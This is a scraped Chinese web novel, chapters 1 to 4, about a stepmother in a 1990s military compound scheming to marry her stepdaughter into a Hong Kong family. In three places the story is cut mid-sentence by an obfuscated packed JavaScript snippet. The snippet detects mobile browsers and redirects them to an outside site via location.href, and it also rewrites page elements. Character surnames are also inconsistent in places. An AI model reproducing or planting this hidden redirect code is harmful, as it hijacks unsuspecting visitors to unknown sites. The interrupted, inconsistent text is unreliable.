《大院美人替继妹出嫁后》 1. 第 1 章 1992年初秋,江城市东码头,远离繁华市区坐落着一栋栋红砖小别墅,在粗口的海棠花丛中隐现。 碧蓝海水荡漾,随着声声轮船悠扬的汽笛声,胶州市军区大院外,站着两个手持枪弹的士兵,大院门口时不时有吉普车在门口停留片刻,跟卫兵打声招呼,验明身份,才能驶进军区大院。 这会儿是午后一点多,秋老虎肆虐,外头明晃晃的大太阳在天上挂着,半点云彩也无。 军区大院花木郁葱,院子里除了耳的蝉鸣声,只余一片宁静。 大院里人家此刻大都在歇息午觉,军区二师参谋长家,二楼小卧室里,雕花铁床上姜沉鱼肌肤雪白,瓜子脸,杨柳腰,她身上穿着一条碎花睡裙,绸缎般的乌黑长发迤逦披在胸前,掩去半边春色。 外面骄阳似火,卧室阳台摆着的电风扇吹出阵阵凉风,军区大院外刚外出回来的文燕蓉满头大汗,姜沉鱼却睡得很惬意。 姜家客厅铺了木地板,摆着暗红色的紫檀木圆桌、椅子,木艺沙发上罩着白色蕾丝纱罩,书柜上摆着的彩色电视机跟绿电冰箱,卫生间刚购置了洗衣机、电话、收音机一应俱全,无一不显示出姜家殷实的家境。 住在这样好的房子里,又生活在人人艳羡的军区大院。 文燕蓉每次回家都是昂头挺胸,把脚下的黑色皮鞋踏地踏踏响。 这两天文燕蓉可是风光不起来,她一买完菜就去骑着自行车火急火燎往家赶,进门洗了手,就拽着同样睡午觉的亲闺女姜沉宁戳额头。 “你这丫头这两天怎么回事儿?萧家那是门多好的亲事啊!萧家的产业在整个香江都是数得着的,现在改革开放了,多少人去香江闯荡,你只有嫁到萧家就吃山珍海味,在家有菲佣,那来可是享不尽的荣华富贵!一辈子吃香喝辣,怎么就要死要活不想嫁了?” 姜沉宁午睡的正香,猛地让她妈拉起来戳着额头难寻一顿训,心里火气也起来了,斜睨了她一眼,嘴里还抱怨道:“妈,你知道什么啊,萧家那一家子都是神经病,谁嫁谁倒霉!” 萧砚更是个短命鬼,萧家掌门人又怎么样? 上辈子她倒是嫁到萧家了,自己满心欢喜嫁入港城豪门萧家当少奶奶,原本想荣耀一生。 结果姜沉宁只在新婚前一天,见了萧家长孙萧砚一面签了份婚前协议后,就独守空房受活寡了。 后来她才知道,萧家掌门人萧砚就是个疯子加病秧子,而自己上辈子生活的世界是一本书,书里的男主是萧砚的侄子萧茗,书里是这样描写自己结局的——“天生耐不住寂寞的姜沉宁没忍住在外面养了情夫,事情败露后,被萧砚逐出萧家,处处遭人打压,受人耻笑,流落街头,不到四十岁就去了……” 萧沉宁想起上辈子的结局就浑身打冷颤。 好在老天爷保佑,萧沉宁眼睛一闭一睁居然重生了回到出嫁前夕,重生后的萧沉宁一哭二闹,打底打死她都不愿意再嫁到萧家了。 文燕蓉急得嘴角冒燎泡,恨铁不成钢地戳着闺女的脑袋,压低了声音:“你说不嫁就不嫁!” “萧家哪是这么好打发的?” “得罪了萧家,咱们一家子吃不了兜着走!” 姜沉宁眼珠子转了两圈,才心里盘算的话说出来:“妈,我不嫁咱家不是还有姜沉鱼嘛,这么好的亲事我哪敢跟姐姐抢,姐姐从小十指不沾阳春水,合该去过好日子的。” 文燕蓉在厨房搅着碗里的鸡蛋液,冷哼:“你姐可是你爷奶的宝贝疙瘩,二老不松口谁敢说这话?” “怎么不行?” “家里不是还有一箱子小黄鱼?” “给我姐当陪嫁,爷奶还有话说?” 文燕蓉气得筷子“啪!”一声甩饭桌上,“死丫头,你想气死你妈!” 家里这一箱子小黄鱼都能买江城好几套房子了! “我不管,反正我不嫁萧家!”姜沉宁语气坚决:“你们要是逼我,我就去跳海!” “我不活,大家别活了!” 文燕蓉气得跳脚。 “都不知道你是哪根筋搭错了!” 姜沉宁一句“都别活了”,不仅叫出了书房的姜建军,也把楼上的姜沉鱼吼醒了。 睡眼惺忪的姜沉鱼套上编织小外套,乌黑长发蓬松自然的披散下来,头上戴着一只白色波点发带,一起身,睡裙下的身材越发玲珑有致,她掩住水润眼眸打了个哈欠,侧耳静听楼下的声音。 楼下客厅,姜沉宁摔门而去,穿着得体的文燕蓉一脸的气急败坏,站在她身边的时候姜建军脸色也是难看到不行,文燕蓉咬了咬牙道: “建军,说起来萧家那门亲事那是咱爸给沉鱼定下的,过了这么些年了,我……给忘了。” “不如………咱们……” 文燕蓉的意思很明白,既然自己闺女死活都不愿意嫁搭到港城去,不如把大女儿推出去替嫁。 这样一来可以对萧家有所交代,二来可解了家里困境。 一举双得,何乐而不为。 可惜文燕蓉偏偏忘了,自家男人是最好面子功夫的。 这种出尔反尔的事情,姜建军为人一板一眼,他可说不出这种话,尤其还当着……… “这种话以后不要再提了!”姜建军两鬓有些银发,多年军旅生涯的岁月沉淀,让他整个人极具压迫感,他脸色铁青,看也没看文燕蓉一眼,直接留下妻子出去了。 文燕蓉这才察觉到不对劲,一抬头正好对上二楼继女那张娇媚出众的脸蛋儿。 姜沉鱼倚着二楼扶梯,对着继母嫣然一笑。 “阿姨,你继续说我听着呢。” 文燕蓉:“………” 文燕蓉嫁到姜家这么多年,早知道前头那位留下个好颜色且难缠的闺女。 当年她处心积虑、绞尽脑汁嫁给姜建军,人人说后妈难当,她没想到这么难当。 姜建军前头娶的女人叫庄心晴,那个女人出身好、长得好、工作学历都好,尤其给姜家生了个漂亮孙女。 姜沉鱼打小生的玉雪可爱,嘴巴又甜,哄得老爷子跟老太太两颗心都偏到她身上。 就连不喜欢女孩的姜建军也对这个女儿高看一眼。 姜沉鱼在军区大院是出了名的漂亮,细软盈盈不堪一握站在那里,鹅黛眉,肌肤雪白,聘聘婷婷就让人挪不开眼。 就比如现在,站在楼梯上的姜沉鱼,披散的长发慵懒披散下来,只用两枚珍珠发卡别在耳后,冰肌玉骨,雪肤花貌,一看就是自小富贵教养长大的,妥妥一朵人间富贵花,对比自己生的二女儿沉宁…… 文燕蓉面容抽搐,压下心里的酸涩不甘,硬生生挤出 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830853|158970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 笑来。 “沉鱼醒了?” “正好厨房熬的有绿豆汤,喝一碗天热消暑,阿姨给你盛去?” “那就谢谢阿姨了。” 文燕蓉捏着饭勺进了厨房,心想这死丫头长得跟她早死的妈一个样,杏眼樱唇,笑起来一边一个梨涡,天生的狐狸精样! 文燕蓉到底是忍功了得,没几分钟就给姜沉鱼端了碗冰镇好的绿豆汤。 姜沉鱼也不客气,不紧不慢地喝了几口冰镇绿豆汤,用手帕擦擦手,还笑眯眯点评了两句,“绿豆汤太甜了,阿姨以后记得少放些糖。” 姜沉鱼说完,拎上白色小背包,踩着细跟凉鞋出了门。 这模样一看就是要出门逛街去。 今天是周六,姜沉鱼雷打不动每周都要去外头逛街扫货。 姜沉鱼今年二十二岁,去年刚大学毕业,因为老爷子偏宠外加一张好脸蛋,大学毕业进了一家外贸公司,平时整理整理材料每个月工资就五百块。 她每月工资一分也不往家里交,每天不是买各种化妆品,就是买时兴的包包、皮鞋连衣裙。 姜沉鱼家里有老爷子老太太护着,文燕蓉什么也不能说。 至于萧家跟姜家这门亲事,还是追寻到民国初年爆发战争,萧家老爷子从榕城一路逃往港城,途中他不小心中弹,是姜家老爷子救了他,二人成为挚友,还给后代子女订了一门娃娃亲。 数十年后,那个匪乱国倾,军阀割裂战火纷飞的年代终于过去,彼时,萧家老爷子成为香江首屈一指的富商巨贾,姜老爷子则从军长位子上退下来,两位古稀之年的老人回忆当年的峥嵘岁月,也记起了当年订下的这门婚约。 当时姜沉鱼年纪尚小,姜老爷子老两口也舍不得孙女远嫁,这门娃娃亲暂时搁置下来。 后来姜母去世了,姜建军为了女儿一直没有续弦,等到姜老爷子发话,姜建军才在老战友的介绍下认识了在部队当老师,同样单身的文燕蓉,隔年二人生了姜沉宁。 要说起来,姜老爷子二老对儿子姜建军再娶并没有意见,毕竟儿媳逝去多年,少年夫妻老来伴,人上了年纪,姜建军身边没个知冷知热的另一半确实很难熬。 只是没想到姜建军娶回家一个表面良善,实则口蜜腹剑的文燕蓉。 文燕蓉出生于乡绅家庭,年轻的时候因为出身问题,加上眼光高,就这么耽误了下来。 在没遇到姜建军前,文燕蓉的日子并不好过,虽然她早宣称,跟自己那个封建腐朽的家庭决裂了,也凭借自己的努力在部队学校当上了老师。 可是那些所谓的同事朋友,只是在表面上对她还行,到了背地里,一个两个都偷偷嘲笑过她的家庭出身。 文燕蓉能忍也能装,她听到这些话明明恨得心里呕血了,面上还能对着说她闲话的人笑的跟没事人一样。 这么憋屈的日子,文燕蓉过了大半辈子,直到遇见了丧偶的姜建军,她才算是扬眉吐气。 看着以前那些对她嚼舌根子的女人,一个个都跑来巴结自己,文燕蓉心里是很畅快的。 她知道自己能有今天的风光,全都是靠当团参谋长的姜建军还有他背后的姜家,要是她离了姜家,就真的什么都不是了。 她为了维系自己多年的风光,才把主意打到跟萧家的这门娃娃亲上。 2. 第 2 章 萧家这门亲事可是打着灯笼都难找的好亲事! 即便姜家住在人人艳羡的军区大院,家里电视机、洗衣机、电冰箱都不缺,出门吉普车,月月吃专供米面粮油、蔬菜水果蛋肉,这种美满生活也不能满足文燕蓉那颗虚荣心。 她低眉顺眼半辈子,肚皮不争气,喝了十几年的药就生了个丫头片子。 丫头片子就算了,还样样争不过前头庄心晴生的女儿。 做人不蒸馒头争口气。 文燕蓉本来想把女儿送到军区文工团,里面莺莺燕燕的,漂亮姑娘一抓一大把,最能吸引军区大佬的目光。 偏偏姜沉宁不争气,要脸蛋没脸蛋要身材没身材,去了文工团还嫌弃早起练习舞蹈太累了,去了一个星期就嚷嚷着不去了。 文燕蓉拽着姜沉宁好一顿打骂,转头又把算盘打到萧家的这门亲事上。 早年,文燕蓉跟姜建军提过一嘴,说家里两个女儿到年纪了,姜沉鱼生的娇艳动人,大院好些子弟都盯着这朵娇花,想娶回家当祖宗供着呢,咱们当父母的不能耽误孩子…… 当时姜建军怎么说的? 他放下手里的报纸,沉了一会儿,才神色平淡,传出一道浑厚嗓音。 “沉鱼自小养在爸妈那里,性子娇气任性,家里还要留她几年,这事自有长辈做主,以后你就不要提了。” 得,话说到这份上,文燕蓉自然能听出丈夫口中的敲打。 敲打又怎么样? 现在的社会好机会转瞬即逝,她就一个女儿,不盘算着给沉宁嫁给好人家,以后她还怎么在外面风光有脸面? 这些年她好不容易等到老爷子松了口,说家里两个孙女,萧家的亲事给谁都行。 外头都说姜老爷子老两口为人公正,不偏不倚,对两个孙女一样疼爱。 其实大院里明眼人都知道,姜家二老是这是舍不得姜沉鱼,不舍得心肝疙瘩嫁到豪门大户里立规矩,受苦受难。 萧家这样的门户,旗下产业航运、日用百货、房地产…… 家大业大,人口就繁琐,单是萧家老爷子就有一位正妻跟两个姨太太,别说萧家的一众儿孙了,那身边的女人犹如过江之鲫。 自古一入侯门深似海,任凭多娇艳的花骨朵儿,嫁到深宅大院里也会枯萎凋零。 姜家二老可舍不得孙女到香江,关在笼子里当不自由的金丝雀。 姜沉鱼不嫁,文燕蓉心花怒放,立刻把亲事争取过来,哪想到现在鸡飞蛋打,自家这个丫头片子,宁肯跳江也不愿意嫁到香江去。 说什么香江男人都花心,她才不想当大婆跟二房、三四五房斗成乌眼鸡。 午后军区大院浓茵密匝,文燕蓉想起这个心里就窝火,下午三点多,要准备晚上的饭菜了。 按照部队规定,姜建军是二师参谋长,家里给配了警卫员跟勤务兵,像洗菜、摘菜刷锅这些厨房活计都是勤务兵做的。 偏姜建军严苛待已,宽以待人,自家的活都留给老婆闺女,勤务兵就跟个摆设一样。 当然了,姜沉鱼这个娇气美人十指不沾阳春水,要她干家务,碗都能给摔到一个不剩。 家里家务指望不上姜沉鱼,就累了惯于扮演贤妻良母的文燕蓉。 姜建军吃饭讲究,文燕蓉忙里忙外,一边看煤油炉上的水锅,一边继续摘菜,刮鱼鳞,洗菜板。 躲在小卧室里姜沉宁肚子饿了,她这几天闹上闹下,又是上吊又是跳河的,闹得家里鸡飞狗跳。 她中午就吃了几口饭,肚里正饿,见客厅里没人,洗了手偷偷摸摸跑出来吃鸡蛋糕 军区大院副食品店卖的鸡蛋糕也跟外头不一样,入口松脆绵软,蛋香浓郁。 姜沉宁一口一个吃得香,觉得口渴又开了瓶汽水仰脖儿就喝。 文燕蓉端着菜篮过来,见她这没作派规矩的模样,心里没消下去的怒火,一下蹿得老高,过去一巴掌就开口骂。 “臭丫头,看看你这模样,哪有点大家闺秀的规矩。” “我吃东西呢,要什么规矩?” “还敢顶嘴?家里老爷子老太太讲究谈吐得体,细嚼慢咽,你看看你,怎么就不学学姜沉鱼那丫头?” “那丫头最甜哄得老爷子老太太把她当个宝,咱们母女就是草!” “以后有你哭的时候!” 姜沉鱼!姜沉鱼!又是姜沉鱼!! 姜沉宁捏着手里的鸡蛋糕,气得磨牙,她从小到大最讨厌别人拿她跟姜沉鱼比较。 凭什么她就样样不如姜沉鱼? 不过没关系,姜沉鱼好日子到头了,等她嫁到港城,看有的是苦日子! 厨房热气氤氲,雾蒙蒙水蒸气的传来一声得意轻笑。 姜沉宁的好心情没有持续多久,姜建军从部队回来,刚端起茶盏呷了一口清茶,她就闯进去闹着不嫁去萧家。 文燕蓉拦都拦不住,眼睁睁看着这个丫头闯进去,心里“咯噔”一声觉得要坏菜。 果然,下一分钟书房里发出就“砰”地发出一声摔响。 “谁给你的胆子说这些话!” “萧家这门亲事多少人想攀都攀,你当什么阿猫都能嫁!” “给我滚出去!” 姜建军气得砸了茶盏,姜沉宁还梗着脖子跟他犟嘴。 “我不出去!” “爸,你就是偏心眼!跟爷爷奶奶一样,从小就偏着姜沉鱼,那个萧家这么好,怎么不让姜沉鱼嫁过去!” “啪——” “逆女,你说什么!” “说什么,我不嫁萧家那个短命鬼,谁要是逼我,我就去跳河!” 姜建军一巴掌狠狠抽过去,姜沉宁捂着火辣辣的脸,哭喊着跑远了。 文燕蓉急忙追出去,遭姜建军怒声呵斥,“不许跟出去!” “她要死就让她死!” 对家族没有好处的棋子,没了就没了。 * 午后阳光正好,江城码头海面涛声阵阵。 不同于军区大院的剑拔弩张,背着背包出门的姜沉鱼正面迎着海风,惬意享受难得的闲暇时光。 今天是周六,平时她要上班,虽然外贸工作工作轻松,但是日常也要上足八小时才能有工资拿。 姜沉鱼从小生活条件好,跟在姜老爷子老太太身边,吃穿用度样样精细,咖啡要喝现磨的,面包吐司不新鲜碰都不碰,就连卧室铺的地毯都是舶来品…… 外贸公司一个月五百块钱工资可不够她花的。 好在平时有爷爷奶奶补贴,姜沉鱼生母给女儿留了一笔丰厚的遗产存在银行生利息,她才能过骄奢的日子。 姜沉鱼坐着轮渡去了码头,穿一身米白色过膝裙,一头乌黑秀发卷成卷,脸颊两边还各卷了两三缕波浪碎发,耳上一对珍珠耳环,手腕上简单的一只银白色腕表,下午金色光束正好打下来,映照出一张芙蓉桃花面,尤其那一双潋滟水波的杏眸,就像一片桃花花瓣掉进春池中,惹得来往小伙子纷纷侧目。 有好几个胆子大的借着问路,过来搭讪。 “小姐,问一下山海路怎么走?” “济南路 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830854|158970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 有家港式茶餐厅,小姐请你去吃伐?” “……” 诸如此类的搭讪者都被姜沉鱼三言两语打发了。 墨绿色的轮渡载着乘客响起汽笛声徐徐靠岸。 姜沉鱼顺着人流去了江城百货商场,近几年华国经济蓬勃发展,周末商场人多,刚走到附近就已经是人头攒动。 商场一进去就是旋转扶梯,一楼卖日用百货,二楼是服装品牌,三楼卖家电珠宝。 姜沉鱼平日最喜欢逛街,一口气买了两件外套,两条裙子,一条项链、还有两双细跟小皮鞋。 逛了一圈商场,肚子里馋虫叫嚣,又转头去了兴味斋。 兴味斋是江城首屈一指的老酒楼,解放前是专门伺候达官贵人的,一桌饭菜二十块大洋,平头老百姓压根吃不起。 现在改革开放了,老百姓腰包鼓起来了,兴味斋生意兴隆,日赚斗金。 姜沉鱼拎着大小包进了兴味斋,点了一道荷叶糯米鸡,一道糖醋小排,几道炒时蔬,再加上一笼生煎包。 她是兴味宅的常客,烫着羊毛卷的老板娘一见面就热络地打了个招呼,“靓女囡囡,又来恰饭呀?” “囡囡,今天新来的糯米鸡,上给你好不啦?” “好呀,谢谢周姐。” 姜沉鱼眉眼弯弯看看她,嘴巴甜得跟抹了蜜一样,“周姐几天不见,你又变靓了,皮肤嫩的能掐水了。” “哎呀呀,还是漂亮囡囡会说话。” 周姐笑得花枝乱颤,亲自上了一道荷叶糯米鸡:“囡囡,尝尝这个,新鲜得来!” 姜沉鱼笑眯眯挑起一块粘软的糯米包裹着的香菇鸡送入口,鸡肉柔润嫩滑,咸香里带着荷叶的清甜。 兴味斋不愧是兴味斋,味道一如既往的好,姜沉鱼一餐饭吃的精致眉眼间都是餍足,临走又打包了两只八宝鸭跟几道老人家爱吃的点心,打算去老宅看下爷爷奶奶。 身材婀娜的姜沉鱼拎着大包小包走在街头,有那多嘴的妇女凑在一起,议论这是哪家大户的女儿,这么不会过日子,一看就不是小门小户出来的贤惠囡囡。 姜沉鱼才不在乎别人的窃窃私语,做人呢,最重要的就是开心了。 只要她自己日子过得舒服,才不管别人怎么想,怎么说呢。 有时候,脸皮厚一点耳朵聋一点,也不失为一种生活哲学。 说起这一点就让姜沉鱼想起文燕蓉,这人贯会察言观色,审时度势,从她刚进姜家大门时做的那些事情,比如把客厅里庄心晴的照片换下来,自作主张换成她的照片,还有庄心晴留下来给女儿当作记念的首饰占为己有......等等一系列事情。 姜建军都是知道的,可是他却在文燕蓉一次次所谓的解释中,纵容了这个女人一次又一次。 要不是姜沉鱼从小有爷爷奶奶护着,还不知道要被这女人算计成什么样。 姜沉鱼嘲讽掀唇,拎着大小包抄小路走中心公园去姜家老宅,她刚走过中心公园的街心湖,就听“扑通——” 一声,岸边散步的妇女顿时惊呼起来。 “有人落水了!” “哎哟,不是落水是投湖哩。” “真是造孽,好好的日子不过跳什么湖伐。” 姜沉鱼距离街心湖岸边不远,满打满算也就□□米的距离,旁边的人都往岸边跑,她一扭头就看见了不会水的姜沉宁在湖里乱扑腾。 “啊啊啊!” “救救我,我不想死啊!” “姜沉鱼!我看见你了!别走,快跳下来救我!!!” 3. 第 3 章 姜沉鱼自然不可能去下水救姜沉宁,她也不会游泳,街心湖水有好几米深,她下去救人无异于添倒忙。 江城九月份的天气依旧骄阳似火,这会儿临近傍晚,在中心公园有不少散步消暑的路人,其中不乏游泳爱好者。 姜沉鱼当机立断,绕过路边的小船去找人救人,九十年代人民淳朴,况且还是美貌姑娘喊救人。 “救人了!有人落水了!” “谁落水了?” “我来救!算上我一个!” “还有我!” 眉眼似玉的姜沉鱼往岸边一站,刚喊了两声,来散步的年轻小伙子就争先恐后脱了衬衫、鞋子往水里扎。 中心公园旧名为街心园,旧社会以前是江城某大户的私家园林,雕梁画栋秀,庭院楼阁,十年动荡时期,红卫小兵们在园子里打的打,砸的砸,给毁得一塌糊涂。 还是去年政府拨了一笔专款,重修了街心园,园子里的湖水都几米深的湖,姜沉宁在水里扑腾,灌了好几口湖水,恍惚中听见姜沉鱼喊人来救她,接着到几道人影跳入水中,忽然一只胳膊托起她,她凭借本能抓紧救命稻草,被一个小伙子救上了岸。 “哎呀,人救上来了。” “没事就好。” “快点,到太阳底下晒晒哟。” “对哟,落水对身体不好,会留下病根的。” 众人七嘴八舌给建议,姜沉宁也算是命大,灌了一肚子水让人按着肚子几下就吐了出来。 落水的人灌进肚子里的水吐出来就好了。 姜沉鱼不着痕迹松口气,快速帮她把松散的衬衣扣子扣好,不着痕迹挡住众人的视线,柔声跟救人的男同志道谢。 “十分感谢几位同志帮忙。” “几位真有本事,救人又心善。” “这里有些钱。算是谢谢各位的救命之恩。” 姜沉鱼话说得敞亮,吴侬软语言一阵说,说得几个拧裤腿水的男同志心潮澎湃,推着说不用。 “救人一命横胜造七级浮屠。” 几个男同志还想多说话,边上浑身湿漉漉的姜沉宁冷得上下牙齿打架,起伏的身体曲线,引起好几道贪婪目光,姜沉鱼跟众人道完谢谢,等周围人散了些,找个没人的树下,翻出条新买的连衣裙,选了最不喜欢那条,丢给姜沉宁让她换上。 “我新买的连衣裙,六十八块钱一条。” “回家记得还我钱。” 姜沉鱼双手环胸,她也不管合身不合身,直接报价格。 反正她跟姜沉宁面心不合二十几年,说什么安慰话都是装腔作势,不如直话直说来得痛快。 浑身上下湿透的姜沉宁遭风一吹打了个喷嚏,抬头怒道,“我都快没命了,你还提钱!” “有没有同情心!” “我看你就是爱看我热闹!” “看你热闹对我有什么好处?” “看你真是不冷。” 姜沉鱼眉梢轻挑,反问道,”这时候逞强说我看热闹,你跳湖的时候怎么没想好怕人笑话?“ “我没跳湖,”姜沉宁怄心得跳脚,一字一句从牙缝里挤出来,“刚刚我在湖边,有个小王八羔子推了我一把!” “那个小孩呢?” ”跑了!“ 说起这个来,姜沉宁就呕得不行,她在家挨了一巴掌,想在外面安心散心,结果在街心园廊桥上看景风景时让个小鬼头推了一把才落水的。 这话姜沉鱼是信的,姜沉宁不会放着好好的日子不过,去跳湖轻生。 这个丫头可比谁都惜命。 姜沉宁找不到始作俑者,浑身湿着难受,只能拿着裙子扭扭捏捏去了公共厕所,路上还能骂偷看自己的瘪三两句。 等她一溜儿烟地从公厕换衣服出来,姜沉鱼已经提着三个编织小袋走人了。 要是往常姜沉宁早就对着背影媚娇的姜沉鱼骂狐狸精,不知道怎么地她今天突然看姜沉鱼顺眼不少。 “至少没以前的讨厌了。” * 姜沉鱼拎着编织小袋跟打包好的美食去了老宅。 姜家老宅是座花园洋房,是姜老爷子跟老太太想退休后买下来的 老宅里除了二老身边有一名勤务兵,警卫员还有保姆琴姐。 姜沉鱼进门的时候,琴姐出门去买老爷子爱吃的海虾。 院中海棠花开得正盛,姜老爷子在院子里打拳,姜奶奶躺在躺椅上晒太阳 “阿公阿婆,我来看你们来了。“ 一道清脆婉转的娇气嗓音,让二老眼睛眯成缝。 “囡囡来了?” ”快让阿婆看看。” 姜奶奶好几天没见孙女,见了姜沉鱼乐得眉开眼笑,心肝宝贝似地问孙女这两天吃了什么,喝了什么。 姜老爷子在花园里打过两套形意拳,一身老式军装,面容威严,一身杀伐气也就面对孙女才柔和些。 “这是阿公阿婆爱吃的点心跟八宝鸭。” “好热着呢,阿公阿婆快点尝尝。” “好,尝尝。” “还是我囡囡有孝心。” 姜奶奶喜上眉梢,也不提别的事,只拉着姜沉鱼的手,说些家常话,姜老爷子只在边上喝茶,姜沉鱼笑吟吟地附和点头,又对着老人家卖乖。 “爷爷,我买了些补身子的人参,您到时候泡茶喝。” “好,阿公喝。” 姜老爷子蓦地一笑,摇了摇臂膀,押了口中的青茶,觉得又添了几分茶香。 姜沉鱼哄得二老高兴,外出买菜的琴姐提着一篮子瓜果蔬菜回来了她,后天跟着拿着用草绳穿着鱼的勤务兵。 “老首长,老夫人今天买的带鱼跟黄花鱼新鲜。” “小鱼来了?” “今天你有口福,咱们吃海货。” 琴姐看见姜沉鱼也高兴,放下篮子系上围裙就进了厨房,江城靠海,炸带鱼、红烧鱼油焖虾都是江城人爱吃的,最重要的是海货新鲜,吃着放心。

35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14830855|158970||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > “嗳,谢谢琴姐。” “不谢不谢。” 姜沉鱼乖巧伶俐,嘴巴又甜,有她在饭桌上妙语连珠讲笑话,喜得姜家二老多吃了半碗饭。 一家子刚吃完饭,家里客厅电话就响了,是姜建军打来的。 楼梯响起咚咚咚的声音,琴姐下来没说话,那脸色分明是有事,姜奶奶会其意,转过脸神色慈爱地跟姜沉鱼说。 “囡囡,楼上有你爱吃的桃花酥去吃吧。” “好。” 姜沉鱼佯装没看出琴姐有话说,脚步轻快上了二楼。 她刚一走,琴姐过来低声说了什么,姜奶奶立时紧了眉心,”那女人又在闹什么?” 琴姐脸色很为难,“先生说,沉宁死活不愿意嫁到港城去,闹着跳湖了......” “作妖!” ”港城那边知道了,文女士指名要咱们小鱼家嫁给.......” “砰——” 青花瓷茶盅砸了出去,落到石榴树下的青石砖上,摔得粉碎。 姜奶奶气得不轻,想起文燕蓉那张做作的脸,心里厌恶也是丝毫不给面子。 “简直是做梦!” “什么阿猫阿狗都来打我们囡囡的主意!” 老太太直来直去了一辈子,年轻的时候嫁给了姜爷爷,有姜爷爷护着一辈子没吃啥苦,到了老了住在跟姜家的老宅子里,身边有琴姐在,日子过的也挺好。 唯独让姜奶奶烦心的就是儿子娶的那个文燕蓉了。 对于文燕蓉,姜奶奶打见第一面的时候就喜欢不起来,那个女人虽然掩藏的很好,可是当年进姜家大门时,眉眼里那潜藏着的算计和贪婪却没逃过老人家的眼睛。 这个女人不安分。 文燕蓉进了门,这是姜奶奶对姜建军说的第一句话,也是唯一一句话。 姜奶奶瞧不上文燕蓉,姜建军却觉的她很好,母子俩意见不一,又说不到一块儿去,彼此之间多少起了嫌隙。 后来的姜奶奶虽然跟姜建军一家都住在军区附近,逢年过节,姜奶奶却从不允许文燕蓉上门。 每到过年的时候,姜沉鱼在爷爷奶奶家,姜建军身边除了文燕蓉跟姜沉宁,各路亲戚也不跟他来往,彻底成了孤家寡人。 琴姐自然知道奶奶口中的阿猫阿狗是谁,她赶紧给姜奶奶顺气道: “您可别生气,气着自己不值当。” “喝杯茶顺顺。” 琴姐打扫完地上的碎茶杯,又换了杯新茶来。 姜奶奶叹口气,没说话。 晚上姜沉鱼照旧在爷爷奶奶家住下,她在二楼有些话没听到,有些话听到了也是无伤大雅的话。 晚饭后,琴姐收拾餐桌,姜沉鱼给奶奶按摩肩膀。 “奶奶,肩膀舒服吗?” “舒服,我家小鱼按摩的怎么不舒服?奶奶看着你能多喝两杯茶。” 姜奶奶笑呵呵,姜爷老爷子在二楼书房接了通电话,是姜建军打来的。 4. 第 4 章 因着文燕蓉进门惹恼了姜奶奶,护老伴的姜老爷子抽了姜建军几鞭子,父子俩都是硬脾气,这些年很少打电话。 这一通电话打过来,全然没有别人家父子之间的温馨和睦,透着的都是冷硬疏离。 “爸。” “嗯。” “您跟我妈身体怎么样?我刚买的山参茶给您拿过去。” “不用了,家里小鱼刚给买了。” “你们留着自己喝。” “我只有一句话,小鱼不能嫁到港城去。” 姜老爷子丝毫不给儿子面子,对面打电话的姜建军深叹口气,这么多年了老爷子还是这个脾气。 他耐心开口,“爸,咱们家跟港城萧家的关系您最是了解,港城那边豪门不少,风流大、败家子更是不少。 萧砚为人持重,父母恩爱,又是萧老爷子亲自带大的,身边这么年没有一个莺莺燕燕,再说姜老爷子最喜欢咱们小鱼,小鱼嫁过去也不会受苦。 爸,我知道您二老舍不得小鱼,小鱼才二十出头,总有一天要出嫁的,难不成您能护着她一辈子?” 再说自己女儿生的如此貌美,嫁到萧家既能享受尊荣,也能给家族带来荣耀跟利益,何乐而不为呢? 姜建军作为父亲,也不是不疼爱女儿,不过跟家族利益比起来,他考虑得更多。 大女儿无论是样貌、品德心计都在小女儿之上,如今萧家在港城的地位,哪能不把女儿嫁过去? 沉宁不嫁,那就小鱼来嫁。 姜建军啰里八嗦说了一堆话,别的话老爷子全当然他放屁,只最后一句话,让老人家眉心叠了几层皱纹。 父母之爱子为其计深远。 姜家二老对孙女感情深厚,如今他二老年逾七十,还能活过孙女去? 再者萧沉鱼从小娇生惯养,吃穿用度无一不讲究,嫁到普通人家根本供养不起,美貌过于出众对女子来说也不定是好事。 萧砚老爷子也是见过的,确实是清冷矜贵,年轻有为,萧家在港城颇有地位,萧砚这位新一代的当家人上位,不知道多少富商名流想把女儿嫁过来搭上这根高枝。 不过萧家老爷子有三房妻妾,儿孙也不少,小鱼嫁过去真能习惯豪门里的蝇营狗苟,明争暗斗? 还有萧家那小子身体...... “行了,这事以后再说。” 半晌后,姜老爷子呷了口清茶,到底没把话说过。 姜建军面露笑意,自家老子性如磐石,硬得很,说这话是把他的话听进去了。 “好,爸我听您的。” “小宁那丫头落水了?” “是。” “落水了就好好养着,别在外头丢人现眼。” 